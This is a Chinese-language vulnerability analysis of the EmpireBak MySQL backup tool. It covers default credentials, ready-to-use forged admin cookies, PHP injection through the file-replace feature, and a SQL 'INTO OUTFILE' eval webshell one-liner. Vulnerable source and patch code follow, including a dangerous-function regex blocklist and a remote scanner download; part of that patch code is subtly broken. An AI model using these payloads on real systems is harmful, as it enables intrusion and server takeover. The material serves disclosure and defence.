1. 漏洞描述
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式
Relevant Link:
http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968
2. 漏洞触发条件
0x1: 默认弱口令进入后台
admin
123456
//默认安装弱口令
0x2: 伪造cookie登录后台
ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
ebak_bakrnd:35y5cCnnA4Kh
ebak_bakusername:admin
ebak_baklogintime:4070883661
//使用以上cookie即可直接访问admin.php
使用firefox tamper data代理截包,访问下列网址
http://localhost/EmpireBak2010/admin.php
http://localhost/EmpireBak2010/DoSql.php
在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面
Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661
0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL
在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构
0x4: 备份数据、替换目录文件内容GETHSLL
1. 登陆后先备份一次数据 2. 备份时可选择备份到的目录,默认有个safemod 3. 备份完毕后来到"管理备份目录",打包并下载 //备份后的safemod目录下所有的表都是以PHP保存的4. 查看下载下来的备份文件的内容5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod 6. 例如替换config.php的内容 /*<?php $b_table="ecs_ad_custom"; $tb[ecs_ad_custom]=1; $b_baktype=0; $b_filesize=300; $b_bakline=500; $b_autoauf=1; $b_dbname="test"; $b_stru=1; $b_strufour=0; $b_dbchar="auto"; $b_beover=0; $b_insertf="replace"; $b_autofield=",,"; $b_bakdatatype=0; ?>*/将字符: $b_bakdatatype=0; 替换为: $b_bakdatatype=0; phpinfo();7. http://xxx/diguo/bdata/safemod/config.php 显示phpinfo内容,GETSHELL成功
0x5: 执行自定义SQL导出GETSHELL
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'c:/WEB ROOT PATH/xiaohan.php'
4. 漏洞代码分析
0x1: 伪造cookie登录后台
\admin.php
<?php require('class/connect.php'); require('class/functions.php');//验证是否已经处于登录状态$lur=islogin(); $loginin=$lur['username']; $rnd=$lur['rnd']; require LoadAdminTemp('eadmin.php');?>
\class\functions.php
//是否登陆 function islogin($uname='',$urnd='') { //die(var_dump($_COOKIE)); $_COOKIE['ebak_loginebakckpass'] = "119770adb578053dcb383f67a81bcbc6"; $_COOKIE['ebak_baklogintime'] = "4070883661"; /* 来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值 $set_username="admin"; $set_outtime="60"; */ global $set_username, $set_outtime; //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE['ebak_bakusername'] = "admin"; $username = $uname ? $uname : getcvar('bakusername'); //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE['ebak_bakrnd'] = "35y5cCnnA4Kh"; $rnd = $urnd ? $urnd : getcvar('bakrnd'); //正常通过 if(empty($username) || empty($rnd)) { printerror("NotLogin","index.php"); } //黑客的目标是免登admin,这里一定相等 if($username <> $set_username) { printerror("NotLogin","index.php"); } /* 验证cookie中的值 $username = admin $rnd = 35y5cCnnA4Kh */ Ebak_CHCookieRnd($username, $rnd); $time=time(); if($time-getcvar('baklogintime')>$set_outtime*60) { printerror("OutLogintime","index.php"); } esetcookie("baklogintime",$time,0); $lr['username']=$username; $lr['rnd']=$rnd; return $lr; }
\class\functions.php
//验证COOKIE认证function Ebak_CHCookieRnd($username,$rnd) { /* $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV"; */ global $set_loginrnd; //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6 $ckpass = md5(md5($rnd . $set_loginrnd).'-'.$rnd.'-'.$username.'-'); //比较通过,判定为已登录,漏洞产生 if($ckpass<>getcvar('loginebakckpass')) { printerror("NotLogin","index.php"); } }
0x2: 备份数据、替换目录文件内容GETHSLL
\phome.php
elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁{ Ebak_RepPathFiletext($_POST); }
\class\combakfun.php
//替换文件内容function Ebak_RepPathFiletext($add) { global $bakpath; //替换目标文件的路径 $mypath=trim($add['mypath']); //被替换的内容 $oldword = Ebak_ClearAddsData($add['oldword']); //用于替换的新内容 $newword = Ebak_ClearAddsData($add['newword']); $dozz=(int)$add['dozz']; if(empty($oldword)||empty($mypath)) { printerror("EmptyRepPathFiletext","history.go(-1)"); } if(strstr($mypath,"..")) { printerror("NotChangeRepPathFiletext","history.go(-1)"); } $path=$bakpath."/".$mypath; if(!file_exists($path)) { printerror("PathNotExists","history.go(-1)"); } $hand=@opendir($path); //遍历目标目录的所有文件,逐一进行文本替换 while($file=@readdir($hand)) { $filename=$path."/".$file; if($file!="."&&$file!=".."&&is_file($filename)) { $value=ReadFiletext($filename); if($dozz) { //执行文本替换 $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value); } else { if(!stristr($value,$oldword)) { continue; } $newvalue=str_replace($oldword,$newword,$value); } WriteFiletext_n($filename,$newvalue); } } printerror("RepPathFiletextSuccess","RepFiletext.php"); }
\class\functions.php
//正则替换信息function Ebak_DoRepFiletextZz($oldword,$newword,$text) { $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0); //无任何过滤,直接替换 $text=preg_replace($zztext,$newword,$text); return $text; }
0x3: 执行自定义SQL导出GETSHELL
\phome.php
elseif($phome=="DoExecSql") { Ebak_DoExecSql($_POST); } elseif($phome=="DoTranExecSql") { $file=$_FILES['file']['tmp_name']; $file_name=$_FILES['file']['name']; $file_type=$_FILES['file']['type']; $file_size=$_FILES['file']['size']; Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST); }
\class\combakfun.php
//执行SQL语句function Ebak_DoExecSql($add) { global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char; $query = $add['query']; if(!$query) { printerror("EmptyRunSql","history.go(-1)"); } //数据库 if($add['mydbname']) { $empire->query("use `".$add['mydbname']."`"); } //编码 if($add['mydbchar']) { DoSetDbChar($add['mydbchar']); } $query = Ebak_ClearAddsData($query); //调用Ebak_DoRunQuery执行最终的SQL语句 Ebak_DoRunQuery($query, $add['mydbchar'], $phome_db_ver); printerror("RunSqlSuccess","DoSql.php"); }//上传执行SQLfunction Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){ global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char; if(!$file_name||!$file_size) { printerror("NotChangeSQLFile","history.go(-1)"); } $filetype=GetFiletype($file_name);//取得扩展名 if($filetype!=".sql") { printerror("NotTranSQLFile","history.go(-1)"); } //上传文件 $newfile='tmp/uploadsql'.time().'.sql'; $cp=Ebak_DoTranFile($file,$newfile); if(empty($cp)) { printerror("TranSQLFileFail","history.go(-1)"); } $query=ReadFiletext($newfile); DelFiletext($newfile); if(!$query) { printerror("EmptyRunSql","history.go(-1)"); } //数据库 if($add['mydbname']) { $empire->query("use `".$add['mydbname']."`"); } //编码 if($add['mydbchar']) { DoSetDbChar($add['mydbchar']); } //调用Ebak_DoRunQuery执行最终的SQL语句 Ebak_DoRunQuery($query,$add['mydbchar'],$phome_db_ver); printerror("RunSqlSuccess","DoSql.php"); }
\class\functions.php
//运行SQLfunction Ebak_DoRunQuery($sql,$mydbchar,$mydbver) { $sql=str_replace("\r","\n",$sql); $ret=array(); $num=0; //执行多语句拆分 foreach(explode(";\n",trim($sql)) as $query) { $queries=explode("\n",trim($query)); foreach($queries as $query) { $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query; } $num++; } unset($sql); foreach($ret as $query) { $query=trim($query); if($query) { if(substr($query,0,12)=='CREATE TABLE') { mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query); } else { mysql_query($query) or die(mysql_error()."<br>".$query); } } } }
5. 防御方法
0x1: 伪造cookie登录后台
从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行
\class\functions.php
//设置COOKIE认证function Ebak_SCookieRnd($username,$rnd) { //基于SESSION进行免登验证 session_start(); global $set_loginrnd; //在cookie中加入随机因子 $ckpass = md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-'.mt_rand() ); //SESSION记录 $_SESSION['ckpass'] = $ckpass; esetcookie("loginebakckpass",$ckpass,0); }//验证COOKIE认证function Ebak_CHCookieRnd($username,$rnd) { //基于SESSION进行免登验证 session_start(); global $set_loginrnd; //获取SESSION内容 $ckpass = $_SESSION['ckpass']; if($ckpass<>getcvar('loginebakckpass')) { printerror("NotLogin","index.php"); } }
0x2: 备份数据、替换目录文件内容GETHSLL
\class\combakfun.php
//替换文件内容function Ebak_RepPathFiletext($add) { global $bakpath; //替换目标文件的路径 $mypath=trim($add['mypath']); //被替换的内容 $oldword = Ebak_ClearAddsData($add['oldword']); //用于替换的新内容 $newword = Ebak_ClearAddsData($add['newword']); /**/ if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", $newword) ) { die("Request Error!"); } /**/ $dozz=(int)$add['dozz']; if(empty($oldword)||empty($mypath)) { printerror("EmptyRepPathFiletext","history.go(-1)"); } if(strstr($mypath,"..")) { printerror("NotChangeRepPathFiletext","history.go(-1)"); } $path=$bakpath."/".$mypath; if(!file_exists($path)) { printerror("PathNotExists","history.go(-1)"); } $hand=@opendir($path); //遍历目标目录的所有文件,逐一进行文本替换 while($file=@readdir($hand)) { $filename=$path."/".$file; if($file!="."&&$file!=".."&&is_file($filename)) { $value=ReadFiletext($filename); if($dozz) { //执行文本替换 $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value); } else { //待搜索的目标字符串没有出现,跳过当前文件 if(!stristr($value,$oldword)) { continue; } $newvalue=str_replace($oldword,$newword,$value); } /* inject check */ $prePath = dirname(__FILE__) . DIRECTORY_SEPARATOR; $url = "http://webshellcheck.oss-cn-hangzhou.aliyuncs.com/AliCheck.php"; if (file_exists($prePath . "AliCheck.php")) { //check whether is latest if (ini_get('allow_url_fopen') == '1') { $content = @file_get_contents($url); if (!empty($content)) { if ( md5($content) != md5_file($prePath . "AliCheck.php") ) { die("not equal"); file_put_contents($prePath . "AliCheck.php", $content); } } } include_once $prePath . "AliCheck.php"; $scaner = new Pecker_Scanner(); $scaner->scanFileContent($filename,$newvalue); $result = $scaner->getReport(); if (!empty($result[$filename]['function'])) { die("Request Error!"); } $scaner = null; } else { //file not exist, need download if (ini_get('allow_url_fopen') == '1') { //check url is valid $content = @file_get_contents($url); if (!empty($content)) { file_put_contents($prePath . "AliCheck.php", $content); } } } /**/ WriteFiletext_n($filename,$newvalue); } } printerror("RepPathFiletextSuccess","RepFiletext.php"); }
0x3: 执行自定义SQL导出GETSHELL
\class\functions.php
//运行SQLfunction Ebak_DoRunQuery($sql,$mydbchar,$mydbver) { $sql=str_replace("\r","\n",$sql); $ret=array(); $num=0; //执行多语句拆分 foreach(explode(";\n",trim($sql)) as $query) { $queries=explode("\n",trim($query)); foreach($queries as $query) { $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query; } $num++; } unset($sql); foreach($ret as $query) { $query=trim($query); if($query) { /* SQL注入过滤 */ if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches)) { echo "request error!" . "</br>" . $matches[0]; die(); } /* */ if(substr($query,0,12)=='CREATE TABLE') { mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query); } else { mysql_query($query) or die(mysql_error()."<br>".$query); } } } }
0x4: 关闭备份功能
一个最简单粗暴的方法就是直接关闭帝国备份
/phome.php
.. elseif($phome=="RepPathFiletext"){ //Ebak_RepPathFiletext($_POST); die("request error!"); } ..
补丁下载:
评论回复